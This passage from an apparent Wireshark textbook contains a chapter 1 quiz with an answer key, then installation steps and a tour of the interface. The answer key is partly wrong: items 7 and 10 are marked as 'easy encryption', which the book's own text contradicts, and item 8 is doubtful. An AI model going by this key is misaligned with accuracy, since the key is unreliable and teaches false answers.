Wireshark is a powerful tool that plays a significant role in the field of ethical hacking and network traffic analysis. It allows security professionals and ethical hackers to capture, view, and analyze network traffic in real time or from a previously captured file.

Some specific ways in which Wireshark contributes to the field of ethical hacking and network traffic analysis include:

Providing  a  comprehensive  and  user-friendly  interface for capturing and analyzing network traffic.

Allowing users to examine the structure and content of network packets, including headers and payloads.

Offering  a  wide  range  of  filters  and  display  options  to help users focus on specific types of traffic or packets.

Supporting  the  analysis  of  a  wide  range  of  protocols, including TCP, UDP, HTTP, and FTP.

Providing  the  ability  to  save  and  share  captured network traffic for further analysis or reporting.

Overall, Wireshark is an essential tool for security professionals and ethical hackers working in the field of network security and traffic analysis. It helps them to identify potential vulnerabilities and weaknesses in networks, as well as to understand how data is being transmitted over the network. It is also used for troubleshooting network performance, identifying unusual traffic, firewall bleed, misconfigured software, and protocol issues.

 

Conclusion

In conclusion, this chapter has provided an in-depth introduction to ethical hacking and networking concepts. We have discussed the OSI and TCP/IP models, which are essential for understanding how data is transmitted and received over a network. We have covered key networking concepts such as IP networks and subnets, switching and routing packets, WAN links, and wireless networking. We have also examined the role of network traffic and how it can be analyzed through packet sniffing, both active and passive, and how tools like Wireshark can aid in ethical hacking and network traffic analysis.

With the foundation of understanding these concepts, the next chapter will focus on getting familiar with Wireshark, a powerful and widely used tool for ethical hacking and network traffic analysis. The chapter will cover the installation and setup of Wireshark, exploring its interface and features, and understanding Wireshark Command-Line tools.

 

Questions

1. What is the main purpose of ethical hacking?

a) To steal sensitive information

b) To test the security of a system or network

c) To cause harm or damage to a system or network

d)  To  gain  unauthorized  access  to  a  system  or

network

2. The OSI model is divided into how many layers?

a) 3

b) 4

c) 5

d) 7

3. What  is  the  main  function  of  the  Transport  layer

in the OSI model?

a) To provide reliable data transmission

b) To establish a connection between devices

c) To provide addressing for devices

d) To control access to the network

4. Which  model  is  used  for  communication  in  the

Internet?

a) OSI

b) TCP/IP

c) Ethernet

d) Bluetooth

5. What is network packet sniffing and analysis?

a) The  process  of  monitoring  and  analyzing  network

traffic

b) The process of encrypting network traffic

c) The process of blocking network traffic

d) The process of increasing network speed

6. What  is  the  difference  between  active  sniffing

and passive sniffing?

a)  Passive  sniffing  involves  sending  packets  to  a

network, while active sniffing does not.

b)  Active  sniffing  involves  sending  packets  to  a

network, while passive sniffing does not.

c)  Active  sniffing  is  more  effective  than  passive

sniffing.

d) Passive sniffing is more ethical than active sniffing.

7. What  is  the  advantage  of  using  Wireshark  for

ethical hacking?

a) It allows for easy encryption of network traffic.

b) It allows for easy blocking of network traffic.

c) It allows for easy identification of vulnerabilities in

a network.

d) It allows for an easy increase in network speed.

8. What  is  the  primary  function  of  the  Data  Link

layer in the OSI model?

a) To provide error checking and correction

b) To provide addressing for devices

c) To control access to the network

d) To provide a physical connection between devices

9. What  is  the  main  difference  between  IPv4  and

IPv6?

a) IPv6 has a larger address space than IPv4.

b) IPv4 is faster than IPv6.

c) IPv6 is more secure than IPv4.

d) IPv4 is easier to configure than IPv6.

10. What  is  the  advantage  of  using  Wireshark  for

ethical hacking?

a) It allows for easy encryption of network traffic.

b) It allows for easy blocking of network traffic.

c) It allows for easy increase of network speed.

d) It allows for easy identification of vulnerabilities in

a network.

 

Answers

1. b

2. d

3. a

4. b

5. a

6. b

7. a

8. d

9. a

10. a
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CHAPTER 2

 

Getting Acquainted with

Wireshark and Setting up

the Environment

 

Introduction

In the previous chapter, you have gained an understanding of networking concepts and terminology related to packet capture and analysis, such as packets, protocols, IP addresses, and fields. This chapter is dedicated to getting acquainted with Wireshark. We will set up the environment and install Wireshark on our computer systems. This would allow you to practice using Wireshark in a controlled setting before applying your skills to real-world scenarios.

We will cover Wireshark’s intuitive GUI that makes it easy to see what is going on and core features for both beginners and experienced network engineers.

Additionally, this chapter will introduce you to the available command-line tools, such as tshark, editcap, mergecap, and other tools commonly used for packet capture and analysis.

 

Structure

In this chapter, we will discuss the following topics:

What is Wireshark

Downloading  and  installing  Wireshark  and  required libraries on

Exploring the Wireshark user interface

Understanding Wireshark command-line tools

 

Objectives

The primary objective of this chapter on Wireshark would be to introduce readers to the tool and provide them with the necessary knowledge and skills to set up the environment for using it. This would include installing Wireshark, configuring the network interface, and becoming familiar with the user interface.

Moreover, this chapter would introduce the readers to the various command-line tools available as part of the Wireshark toolkit and provide them with the necessary knowledge and skills to use these tools effectively as part of their packet capture and analysis workflow.

Note: Some readers may find some of the topics discussed to be overly elementary. However, we hope that while you read, you will learn some new and useful ideas. The intention is for all readers to be familiar with these foundations and be able to utilize Wireshark to its full potential. The latest version of Wireshark that we will use is 4.0.2. Wireshark installer is  available  in  a  64-bit  version  and  has  builds  available  for  Windows,  Mac, and various Linux OSs.

 

What is Wireshark

Wireshark is an open-source network packet analyzer that is available for download on the internet at

https://www.wireshark.org/download.html. Its applications include network troubleshooting, analysis, software, communications protocol creation, and teaching.

Wireshark allows you to see all the network traffic being transmitted over a network, including the packets being sent and received by the devices on the network. It can be used to identify problems with the network, track down the source of network performance issues, and analyze the data being transmitted over the network.

Wireshark supports a wide range of protocols and includes features such as deep inspection of hundreds of protocols, live capture and offline analysis, standard three-pane packet browser, and support for multiple platforms, including Windows, macOS, and Linux/Unix.

Wireshark is commonly used by network administrators, security professionals, and developers to troubleshoot and debug network problems, and it is also used in education to teach students about network protocols and packet analysis.

 

The origin of Wireshark by Gerald Combs

Wireshark (previously known as Ethereal) is a free and open-source network packet analyzer that was first developed by Gerald Combs in 1998. At the time, Combs was working as a network administrator and was looking for a tool that could help him troubleshoot and debug network problems.

Combs developed Ethereal as a way to capture packets in real time and display them in a human-readable format. He released the tool as open-source software, and it quickly gained popularity among network administrators and security professionals.

In 2002, Combs joined the Network Associates Technology (now McAfee) Security Research and Communication group and started working on Ethereal full-time. Over the next few years, he and a team of developers added support for new protocols and features, and the tool became increasingly popular.

In 2006, the project was renamed Wireshark, and it has continued to be developed and maintained by a community of volunteers and contributors. Today, Wireshark is used by millions of people worldwide and is widely recognized as the de facto standard for network packet analysis. It is used by black-and-white hat hackers, network administrators, security professionals, and developers to troubleshoot and debug network problems. It is also used in education to teach students about network protocols and packet analysis.

The future of Wireshark

It is difficult to predict exactly what the future will hold for Wireshark, but it is likely that the tool will continue to be an essential resource for ethical hackers, network administrators, security professionals, and developers.

One area where Wireshark may continue to evolve is in the protocols it supports. As new protocols and technologies are developed, Wireshark may add support for these to ensure that it remains a comprehensive tool for network analysis. This could include support for emerging technologies such as 5G and IoT, as well as new application-level protocols.

Another area that Wireshark may focus on in the future is performance. As networks become faster and more complex, Wireshark may need to optimize its performance to keep up with the increasing amount of data being transmitted. This could involve improving the speed at which packets are captured and analyzed, as well as reducing the impact on system resources.

Security is also likely to be a focus for Wireshark in the future. The tool may continue to develop and improve its security features, such as encryption support and packet filtering, to help users identify and prevent security threats. This could involve adding support for new encryption algorithms and protocols, as well as improving the ability to detect and analyze malicious traffic.

Finally, Wireshark may expand to new platforms to reach a wider audience. Currently, the tool is available on Windows, macOS, and Linux, but it could be available on other platforms, such as mobile devices or cloud-based services.

Overall, it is likely that Wireshark will continue to evolve and adapt to the changing needs of users and the industry as a whole.

 

Wireshark's functionality

Wireshark is generally used to capture data packets as they travel over a network. The tool enables users to place network interface controllers (NICs) into promiscuous mode in order to monitor most traffic, including unicast data that is not transmitted to a controller's MAC address.

However, doing so generally needs superuser access and may be limited on some networks. Even without such capability, Wireshark can sniff out most packets passing via a network, regardless of the operating system, networking protocol, encryption mechanism, or file type.

Wireshark was originally designed to operate on Solaris and Linux, but it currently supports almost any operating system, including Windows and macOS. For individuals who want to customize Wireshark to operate in a specific environment, the source code is also available. Wireshark and its source code are completely open source and may be downloaded for free.

The tool may read data flowing across a network or device in real-time using all standard protocols, including wired Ethernet, wireless IEEE 802.11, WAN protocol PPP/HDLC, Bluetooth, USB, and so on. Wireshark supports several protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2.

Wireshark is a highly flexible and powerful tool that can read and write many different captured file formats. This allows users to analyzer packets captured using a variety of different tools and devices, making it easier to work with data from a wide range of sources.

Some of the capture file formats that Wireshark can read and write include:

tcpdump (libpcap)

Pcap NG

Catapult DCT2000

Cisco Secure IDS iplog

Microsoft Network Monitor

Network General Sniffer (compressed and uncompressed)

Sniffer Pro

NetXray

Network Instruments Observer

NetScreen snoop

Novell LAnalyser

RADCOM WAN/LAN Analyzer

Shomiti/Finisar Surveyor

Tektronix K12xx

Visual Networks Visual UpTime

WildPackets EtherPeek/TokenPeek/AiroPeek

In addition to these file formats, Wireshark can also read and write other formats such as pcap-ng, pcap, and libpcap. It can also export output to various formats, including XML, PostScript, CSV, and plain text files. This allows users to analyze and manipulate the data in various ways, making it easier to work with and share the data with others.

 

Wireshark's operation

Wireshark captures packets using a network interface on a computer. It uses the Winpcap/libpcap library to capture packets from the wire. This library provides a set of functions that allow Wireshark to access the network interface of the computer and capture packets in promiscuous mode (if needed). When the packets are directly, purposefully created to and/or from your device, only that time you do not need to sniff in promiscuous mode.

Promiscuous mode is a special mode of operation for a Network Interface Card (NIC) that allows it to capture all packets that are transmitted over the network, regardless of whether they are addressed to the computer or not. This is useful when using Wireshark to capture packets for analysis because it allows you to see all packets on the network, not just those that are addressed to the computer.

When Wireshark runs, it listens to all packets transmitted over the network and captures them for analysis. It can capture packets from various network types, including Ethernet, Wi-Fi, and PPP. It supports a wide range of protocols, including TCP, UDP, HTTP, and SSL.

Once packets are captured, Wireshark displays them in a Graphical User Interface (GUI) that allows users to view and analyze the packets in detail. Wireshark includes various features and tools that allow users to analyze the packets in more detail. For example, users can use filters only to display packets that meet certain criteria, such as packets from a particular IP address or packets using a specific protocol. Users can also use the Follow Stream feature to see how packets are related to each other and decode the contents of the packets using a variety of protocols.

Once packets have been analyzed, users can utilize Wireshark to identify any problems with the network and troubleshoot and debug network issues. For example, users can use Wireshark to identify slow performance, dropped packets, or security issues. They can also use the tool to track down the source of the problem and determine the cause.

In addition to analyzing packets, Wireshark also allows users to export the data to other formats, such as CSV or XML, for further analysis or to share with others. This can be useful for creating reports or sharing data with colleagues.

 

Wireshark core features

Some of the core features of Wireshark include the following:

Real-time  packet  capture  and  display:  Wireshark captures  packets  in  real-time  and  displays  them  in  a human-readable  format,  allowing  users  to  see  what  is happening  on  the  network  in  real  time  and  identify  any problems.

Support  for  a  wide  range  of  protocols:  Wireshark supports  a  wide  range  of  protocols,  including  TCP,  UDP, HTTP,  and  SSL,  as  well  as  many  others.  This  makes  it  a comprehensive  tool  for  network  analysis  and  allows  users

to  see  how  different  protocols  are  being  used  on  the network.

Filtering:  Wireshark  includes  a  powerful  filtering  system that  allows  users  to  only  display  packets  that  meet  certain criteria,  such  as  packets  from  a  particular  IP  address  or packets  using  a  specific  protocol.  This  makes  it  easier  to focus on specific packets and identify patterns or problems.

Decoding:  Wireshark  can  decode  packets  using  a  variety of  protocols,  allowing  users  to  see  the  contents  of  the packets  in  more  detail.  This  can  be  useful  for understanding  how  protocols  work  and  for  identifying problems with the network.

Follow  stream: The Follow  Stream  feature  in  Wireshark allows  users  to  see  how  packets  are  related  to  each  other and  see  the  full  conversation  between  two  hosts.  This  can be  useful  for  understanding  the  flow  of  data  between devices on the network.

Exporting data: Wireshark allows users to export data to a variety  of  formats,  including  CSV,  XML,  and  plain  text, making  it  easier  to  work  with  and  share  the  data  with others.  This  can  be  useful  for  creating  reports  or  sharing data with colleagues.

GUI:  Wireshark  includes  a graphical  user  interface (GUI)  that  makes  it  easy  to  use  and  navigate.  The  GUI includes  a  packet  list  pane,  a  packet  details  pane,  and  a packet bytes pane, allowing users to see a summary of each packet,  the  contents  of  the  packet  in  more  detail,  and  the raw data of the packet in hexadecimal format.

Statistics:  Wireshark  includes  a  variety  of  statistical  tools that  allow  users  to  see  summary  information  about  the packets  being  transmitted,  such  as  the  number  of  packets by protocol or the number of packets by IP address.

Network  statistics:  Wireshark  includes  tools  that  allow users to see summary information about the network, such

as  the  bandwidth  being  used  or  the  distribution  of  packet sizes.

Customization:   Wireshark includes a number of customization  options  that  allow  users  to  tailor  the  tool  to their specific needs. For example, users can create custom profiles,  customize  the  layout  of  the  GUI,  and  create custom coloring rules.

 

Wireshark's purpose

Here are some use cases for Wireshark:

Sniffing  network  traffic:  Hackers  can  use  Wireshark  to capture  and  analyze  network  traffic  in  order  to  gather sensitive  information,  such  as  passwords  or  other  login credentials.

Identifying  vulnerabilities:  Hackers  may  use  Wireshark to  identify  vulnerabilities  in  networks  or  systems  by analyzing  network  traffic  and  identifying  patterns  or anomalies that may indicate a weakness.

Spying  on  network  activity:  Wireshark's  ability  to capture  and  analyze  packets  in  real  time  can  be  used  by hackers to spy on the activity of other users on a network.

Analyzing  network  security:  Wireshark  can  be  used  by ethical  hackers  and  security  professionals  to  analyze  the security  of  a  network,  including  identifying  potential vulnerabilities  or  weaknesses  so  that  they  can  be  patched before they get exploited by hackers.

Debugging network applications: Wireshark can be used to  debug  network  applications,  such  as  identifying problems with communication between different systems.

Analyzing  network  protocols:  Wireshark  can  be  used  to analyze     different     network     protocols,     including understanding  how  they  work  and  identifying  any  issues with their implementation.

Analyzing network performance: Wireshark can be used to analyze the performance of a network, including metrics such as latency and throughput.

Analyzing  Quality  of  Service  (QoS):  Wireshark  can  be used  to  analyze  QoS  on  a  network,  allowing  users  to identify  any  issues  with  the  quality  of  service  being provided.

Detecting  network  intrusion:  Wireshark  can  be  used  to detect network intrusions, such as unauthorized access to a network or the exfiltration of data.

Analyzing  network  capacity:  Wireshark  can  be  used  to analyze  the  capacity  of  a  network,  including  identifying bottlenecks  or  areas  of  the  network  that  may  need optimization.

 

Limitations of Wireshark

Wireshark is a packet analysis tool that allows users to capture and analyze network traffic. Here are several features that Wireshark does not provide:

It  is  not  a  tool  for  encrypting  or  securing  network traffic. While it can be used to analyze encrypted traffic, it does not have the ability to encrypt or secure traffic itself. If  you  are  concerned  about  the  security  of  your  network traffic, you should use appropriate security measures, such as  encrypting  your  traffic  using  a  secure  protocol  like HTTPS  or  using  a virtual  private  network  (VPN)  to establish a secure connection.

Wireshark  is  also  not  a  tool  for  managing  or configuring network devices or systems:  It  is  primarily a diagnostic and analysis tool. It does not have the ability to make changes to network settings or configurations. If you need  to  manage  or  configure  a  network,  you  should  use appropriate  tools  and  software  specifically  designed  for that purpose.

Wireshark is not an IDS: It is a packet analysis tool that allows  users  to  capture  and  analyze  network  traffic.  While it can be used to identify patterns or anomalies in network traffic that may suggest a security issue, it is not designed specifically  for  this  purpose  and  does  not  have  the  same capabilities as an Intrusion Detection System (IDS).

Wireshark  does  not  manipulate  things  on  the network: It is a passive network analysis tool, which means that  it  does  not  actively  manipulate  or  interact  with  the network  in  any  way.  It  simply  captures  and  analyzes network traffic that is already passing through the network interface on the system where it is running. Wireshark does not  send  packets  on  the  network  or  perform  any  other active  actions  (except  for  domain  name  resolution,  which can  be  disabled  if  desired).  This  passive  nature  of Wireshark  is  one  of  its  strengths,  as  it  allows  users  to analyze  network  traffic  without  disrupting  the  normal operation of the network or systems.

Learning  Curve:  Wireshark  has  a  learning  curve,  and users  may  need  time  to  become  proficient  in  using  its features effectively.

Complex  Interface:  The  abundance  of  features  and options  in  Wireshark  can  make  it  appear  complex  to beginners.

No  Hardware  Monitoring:  Wireshark  is  a  software  tool and  cannot  provide  hardware-level  monitoring  capabilities without additional hardware.

 

Downloading and Installing Wireshark with

Libraries

Let us now look at the process of downloading and installing Wireshark:

 

System requirements The amount of resources required by Wireshark is determined on your environment and the size of the capture file being analyzed. The parameters shown below should be enough for modest to medium-sized capture files weighing no more than a few hundred megabytes. More memory and storage space will be required for larger capture files.

For Windows

Before you install Wireshark 4.0.2 in Windows OS, you need to make sure that your system meets the minimum requirements mentioned below to run the software:

Operating  system:  Wireshark  4.0.2  is  supported  on Windows  7  or  later.  It  may  also  work  on  older  versions  of Windows, but these are not officially supported.

The Universal C Runtime (UCRT): This is included with Windows  10  and  Windows  Server  2019  and  is  installed automatically  on  earlier  versions  if  Microsoft  Windows Update is enabled.

Processor:  Wireshark  4.0.2  requires  any  modern  64-bit AMD64/x86-64 or 32-bit x86 processor.

Memory: The minimum amount of memory required to run Wireshark 4.0.2 will depend on the version of Windows you are  using  and  the  amount  of  memory  your  system  has.  In general, it is recommended to have at least 2 GB of memory available when running Wireshark.

RAM:  Wireshark  4.0.2  requires  at  least  500  MB  RAM available. Larger capture files require more RAM.

Disk  space:  Wireshark  4.0.2  requires  at  least  500  MB  of free  disk  space  for  installation.  Capture  files  require additional disk space.

Supported  network  types:  Wireshark  4.0.2  can  capture and  analyze  network  traffic  from  different  types  of networks,  such  as  Ethernet,  WLAN  (IEEE  802.11)  and others.

Libraries: WinPcap is a packet capture library that allows Wireshark  to  capture  live  network  traffic.  If  you  want  to capture  live  traffic  with  Wireshark  4.0.2,  you  will  need  to install WinPcap 4.1.3 or later.

You  can  download  the  latest  version  of  WinPcap  from  the following  link:

https://www.winpcap.org/install/default.htm

Additonally, Npcap is a packet capture library for Windows that  is  similar  to  WinPcap,  but  it  is  more  modern  and  has additional  features.  It  is  available  for  free  from  the  Npcap

website: https://nmap.org/npcap/.  Install  Npcap  version 1.71 or later.

Note: You will get an option to install required library to capture packets while installing Wireshark on your machine.

 

For Linux/Unix

Before you install Wireshark 4.0.2 in Linux/Unix OS, you need to make sure that your system meets the minimum requirements mentioned below to run the software:

Operating system:  Wireshark  4.0.2  is  supported  on  most modern  Linux  distributions,  including  Ubuntu,  Debian, Fedora, CentOS, and others.

Supported  network  types:  Wireshark  4.0.2  supports capturing  and  analyzing  network  traffic  from  various network  types,  such  as  ATM,  Bluetooth,  Ethernet,  USB, WLAN (IEEE 802.11) and others.

Libraries: libpcap 1.0.0 or later is a packet capture library that  allows  Wireshark  to  capture  live  network  traffic. libpcap  is  usually  included  with  most  Linux  distributions, but  if  it  is  not  already  installed  on  your  system,  you  can install  it  using  your  distribution's  package  manager.  For example, On Ubuntu and Debian, you can use the following command to install libpcap:

sudo apt-get install libpcap-dev

On Fedora, CentOS, and other Red Hat-based distributions, you can use the following command to install libpcap: sudo yum install libpcap-devel

Once  libpcap  is  installed,  you  should  be  able  to  run Wireshark on your Linux system.

The  system  requirements  should  be  equivalent  to  the Windows criteria stated above.

Note: The required libraries to capture packets will be installed while installing Wireshark on your machine.

 

For macOS

Before you install Wireshark 4.0.2 in macOS, you need to make sure that your system meets the minimum requirements mentioned below to run the software:

Operating  system:  Wireshark  4.0.2  is  supported  on macOS 10.14 or later. It may also work on older versions of macOS, but these are not officially supported.

Supported  network  types:  Wireshark  4.0.2  can  capture and  analyze  network  traffic  from  different  types  of networks,  such  as  Ethernet,  WLAN  (IEEE  802.11)  and others.

The  system  requirements  should  be  equivalent  to  the Windows criteria stated above.

 

Installing Wireshark on Windows

The official Windows packages can be downloaded from the Wireshark main page or the download page. You can use the

given link: https://www.wireshark.org/download.html.

Figure 2.1 shows the Wireshark download page that offers a variety of download options for different platforms and versions.

Windows Installer names contain the platform and version. For example, Windows Installer (64 bit), which will download Wireshark-win64-4.0.2.

There is also a 64-bit version of Wireshark available as a portable app for Windows. Portable apps are standalone applications that do not require installation and can be run directly from a USB drive or other external storage device.

Here, we are downloading Windows Installer (64 bit):
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Figure 2.1: Download Wireshark for Windows

After downloading the Wireshark installer, simply execute it. You can select to install multiple optional components and specify the location of the installed package. The default settings are recommended for beginners.

Wireshark requires either Npcap or WinPcap to be installed to capture live network data; otherwise, it will install Npcap by default. Simply click Next, if you want to install this program, otherwise, just unselect and then click on Next, as shown in the

Figure 2.2:
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Figure 2.2: Install Npcap or WinPcap

Using USBPcap, you can capture raw USB traffic on Windows. Wireshark requires the USBPcap utility to be installed on your

system to capture USB traffic. In Figure 2.3, the USBPcap version and installation option is shown. It will not be selected by default; therefore, you must choose it explicitly if you wish to install this utility, then click on Install.
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Figure 2.3: Install USBPcap

Once the installation started, you will see in the following that Npcap screen popped up where you will be asked to Agree. After you click on, I Agree, then you will be asked to select the

following options, as shown in Figure 2.4:

Restrict Npcap driver's access to Administrators only: If Npcap is installed with this option checked, only Built-in Administrators  may  access  its  features  via  user  software (Nmap, Wireshark, etc.). This imposes a level of restriction comparable  to  requiring  root  access  for  packet  capture  on Linux/UNIX.

Support  raw  802.11  traffic  (and  monitor  mode)  for wireless  adapters: Wireshark  supports  capturing  raw 802.11  traffic  and  monitor  mode  for  wireless  adapters. If this option is chosen, Wireshark can select all the wireless adapters  to  capture  raw  802.11  traffic.  However,  this option  is  not  recommended,  because  it  is  not  extremely reliable  and  Windows  does  not  allow  Npcap  to  send  raw 802.11  packets.  So,  if  you  checked  this  option,  the  other software using Npcap to send packets (like Nmap) probably would not work.

Install Npcap in WinPcap API-compatible mode: If you want  complete  compatibility  with  WinPcap,  install  Npcap using  this  option.  Under  this  option,  Npcap  will  install  its Dlls  in  WinPcap's C:\Windows\System32  directory  and  use  the npf  service  name.  It  should  be  noted  that  before  installing in this mode, you must remove WinPcap first (the  installer wizard  will  prompt  you  to  uninstall  WinPcap).  However,  it is  recommended  to  install  Npcap  mode  directly  because this is the default option in the installer.

So, leave all these options un-select and click on Install to complete the installation of Npcap as shown in the following figure:
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Figure 2.4: Npcap Installation options Follow the wizard, click Next and then Finish.

Once the Wireshark installation is finished click Next and then Finish to close the setup. Wireshark is successfully installed in Windows. In the next chapter, we will discuss how to start with packet sniffing or capturing.

 

Installing Wireshark on Linux/Unix

Wireshark is available on the official package repository of Linux/Unix.

1. You need to first update the APT package repository cache

by using the below command:

$ sudo apt update

Enter the administrator account password, if prompted.

As  shown  in Figure  2.5,  this  command  will  retrieve  the

latest  information  about  available  packages  from  the

package repositories that are configured on your system. If

there  are  any  updates  available,  you  will  be  prompted  to

download and install them as shown in the following:
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Figure 2.5: Update the APT Package Repository

2. Once  it  is  updated,  run  the  following  command  to  install

Wireshark on your Linux machine:

$ sudo apt install wireshark

3. Now, press Y and then press Enter. As shown in Figure 2.6,

you will need to enter Y to confirm the installation and then

press Enter to proceed with the installation process:
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Figure 2.6: Additional Disk Space

 

4. If  the  required  libraries  are  not  upgraded  in  your  machine,

you  will  need  to  upgrade  by  clicking Yes  on  the  Package

configuration  screen,  as  shown  in Figure  2.7.  This  will

upgrade  the  libraries,  such  as  – libpam, libc  and libssl  that

are required to run the Wireshark.
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Figure 2.7: Package Configuration (Configuring libc6:amd64)

Let the process complete.

5. Wireshark requires root privileges (or sudo must be used) in

order  to  capture  network  traffic.  This  is  because  capturing

network  traffic  requires  low-level  access  to  network

interfaces and can potentially be used to perform malicious

actions. However, it is possible to configure Wireshark to be

run  without  root  privileges.  To  do  this,  you  can  select Yes

and hit Enter, as shown in Figure 2.8. This will allow you to

run  Wireshark  with  the  necessary  privileges  to  capture

network traffic without requiring root access.
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Figure 2.8: Package configuration (Configuring Wireshark-common)

Wireshark should be installed.

6. Now  if  you  have  selected Yes  in  the  previous  step  to  run

Wireshark  without  root  access,  then  run  the  below

command to add your user to the Wireshark group:

$ sudo adduser $(whoami) wireshark

This command will add the user to the Wireshark group.

7. Wireshark  should  be  installed;  you  can  run  Wireshark  from

the  Application  Menu  or  by  running  the  given  command

from the Terminal:

$ wireshark

8. If  you  selected No  in  the  earlier  step  that  did  not  enable

Wireshark  to  run  without  root  privileges  or  sudo,  then  the

command should be:

$ sudo wireshark

Wireshark is successfully installed in Linux.

 

Installing Wireshark on macOS

You may get the official macOS packages from the Wireshark

download page, as shown in Figure 2.9. Refer to the given link:

https://www.wireshark.org/download.html. Disk images (.dmg), which contain the programme bundle, are used to distribute packages. The platform and version are included in package names.

Ensure to get the Wireshark macOS Arm 64-bit.dmg version if you have an M1 or M2 series Mac. Here, we will be using the macOS Intel 64-bit.dmg version.
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Figure 2.9: Download Wireshark for macOS

1. To  install  Wireshark,  open  the  disk  image  by  right-clicking

on it and then drag Wireshark to your /Applications folder.

In the disk image window, you should see a Wireshark icon

and a shortcut to the Applications folder, as shown in Figure

2.10.  Simply  drag  the  Wireshark  icon  to  the  Applications

shortcut to install Wireshark.
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Figure 2.10: Drag Wireshark to Applications Folder

Now, you can run Wireshark from the application folder.

2. You must set up the "ChmodBPF" launch daemon in order to

capture packets. You may accomplish this either by opening

the  install ChmodBPF.pkg  file  located  in  the Wireshark.dmg,  as

seen  in  the Figure  2.10,  or  from  the  Wireshark  itself,  as

shown in the Figure 2.11.

Wireshark, as well as ChmodBPF and system path packages,

are included in the installation package. Click on installing

ChmodBPF from the Wireshark’s start-up screen and follow

the  on-screen  instructions  to  complete  the  installation  of

the ChmodBPF launch daemon.
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Figure 2.11: Installing ChmodBPF Wireshark is successfully installed in macOS and ready to sniff/capture packets. Close the setup and re-start the Wireshark application to see the user interface.

 

Exploring the Wireshark user interface

The user interface of Wireshark can appear intimidating for beginners, but it is designed to be intuitive and user-friendly. In this response, we will walk you through the various components of the Wireshark user interface and how to use them.

 

Wireshark’s Start-up screen

The Start-up screen, as shown in Figure 2.12, is the first screen you will see when you launch Wireshark. The screen of Wireshark usually displays a welcome message and provides quick links to commonly used actions, such as opening a recent capture file or starting a new capture. It also includes options to configure Wireshark settings, such as preferences and capture options.

From the start-up screen, you can either start a new capture, open an existing capture file, or select one of the recent capture files you have worked with. Additionally, you can access various options and settings from the start-up screen, including interface preferences, capture filters, and display filters.

Wireshark start-up screen consists of parts that are commonly known from many other GUI programs:

The Menu

The Main Toolbar

The Filter Toolbar

The Packet List Pane

The Packet Details Pane

The Packet Bytes Pane

The Packet Diagram Pane

The Statusbar

Let us look at each component one-by-one:
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Figure 2.12: Wireshark’s Startup Screen

 

 

The menu

The main Menu is located at the top of the Start-up Screen and provides access to all of the features and functions of Wireshark,

as shown in Figure 2.13. From the main Menu, you can open capture files, set preferences, and access help resources.
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Figure 2.13: The Menu

The Menu is divided into several sections, each containing a set of related options. Here is a description of each section in the Menu:

File menu:

Below are the file menu options:

Open: Opens a previously captured file for analysis.

Save: Saves the current capture file.

Save  As: Saves  the  current  capture  file  with  a  different name or location.

Import: Imports data from other file formats, such as CSV or text files.

Export: Exports data to other file formats, such as CSV or text files.

Print: Prints the current packet list or packet details.

Preferences: Opens the Preferences dialog, where you can set global options for Wireshark, such as the default layout and appearance.

Quit: Exits Wireshark.

Edit menu:

Below are the edit menu options:

Copy:  Copies  the  selected  packets  or  packet  data  to  the clipboard.

Find Packet: Opens the Find Packet dialog, where you can search for specific packets based on various criteria.

Mark Packet:  Marks  the  selected  packets  with  a  label  or color.

Mark  All  Packets:  Marks  all  packets  in  the  capture  file with a label or color.

Mark  All  Displayed  Packets:  Mark  all  displayed  packets (after applying a display filter) with a label or color.

Unmark All Packets: Removes all marks from the packets.

Set Time Reference: Sets the selected packet as the time reference for the capture file.

Reset Time References: Resets all time references in the capture file.

Edit Display Filter: Opens the Display Filter dialog, where you  can  specify  which  packets  should  be  displayed  in  the packet list.

View menu:

Below are the view menu options:

Layout:  Opens  the  Layout  Preferences  dialog,  where  you can customize the layout of the main Wireshark window.

Time  Display  Format:  Opens  the  Time  Display  Format dialog,  where  you  can  specify  how  timestamps  should  be displayed in the packet list.

Name  Resolution:  Enables  or  disables  name  resolution, which  translates  IP  addresses  and  MAC  addresses  into human-readable names.

Refresh: Refreshes the packet list and packet details.

Zoom  In:  Increases  the  font  size  in  the  packet  list  and packet details.

Zoom  Out:  Decreases  the  font  size  in  the  packet  list  and packet details.

Zoom  Reset:  Resets  the  font  size  in  the  packet  list  and packet details to the default size.

Follow TCP Stream: Opens the Follow TCP Stream dialog, which  shows  the  data  exchanged  between  two  TCP endpoints as a continuous stream.

Follow  UDP  Stream:  Opens  the  Follow  UDP  Stream dialog, which shows the data exchanged between two UDP endpoints as a continuous stream.

Follow SSL Stream: Opens the Follow SSL Stream dialog, which  shows  the  data  exchanged  over  an  SSL/TLS connection as a continuous stream.

Colorize Packet List: Enables or disables packet coloring based  on  various  criteria,  such  as  protocol  or  source address.

Go menu:

Below are the go menu options:

Go to Packet: Jumps to a specific packet in the packet list.

Go to Next Packet: Jumps to the next packet in the packet list.

Go  to  Previous  Packet:  Jumps  to  the  previous  packet  in the packet list.

Go to First Packet: Jumps to the first packet in the packet list.

Go to Last Packet: Jumps to the last packet in the packet list.

Capture menu:

Below are the capture menu options:

Start: Starts a new capture on the selected interface.

Stop: Stops the current capture.

Restart: Stops the current capture and starts a new one.

Interfaces:  Opens  the  Interfaces  dialog,  where  you  can select which interface to capture on, as well as set specific options for the interface.

Options: Opens the Capture Options dialog, where you can set global options for the capture, such as the capture filter and the snaplength.

Capture Filters:  Opens  the  Capture  Filters  dialog,  where you  can  create  and  manage  capture  filters.  Capture  filters allow you to specify which packets should be captured and which should be ignored.

Analyzer menu:

Below are the analyzer menu options:

Decode  As:  Opens  the  Decode  As  dialog,  where  you  can specify how Wireshark should decode certain protocols.

Protocol Hierarchy: Opens the Protocol Hierarchy dialog, which  shows  a  tree  view  of  the  protocol  layers  in  the captured traffic.

Follow  Stream:  Opens  the  Follow  Stream  dialog,  which shows  the  data  exchanged  between  two  endpoints  as  a continuous stream. This option is a shortcut for the Follow

TCP,  Follow  UDP,  and  Follow  SSL  options  in  the  View menu.

Expert  Information: Enables  or  disables  the  display  of expert  information,  which  are  messages  generated  by Wireshark's expert system to indicate potential problems or unusual activity in the capture file.

Enabled  Protocols:  Opens  the  Enabled  Protocols  dialog, where  you  can  enable  or  disable  the  dissection  of  specific protocols.

Statistics menu:

Below are the statistics menu options:

Summary:  Opens  the  Summary  dialog,  which  shows  a summary  of  the  capture  file,  including  the  number  of packets, protocols, and conversations.

Protocol Hierarchy: Opens the Protocol Hierarchy dialog, which  shows  a  tree  view  of  the  protocol  layers  in  the captured traffic.

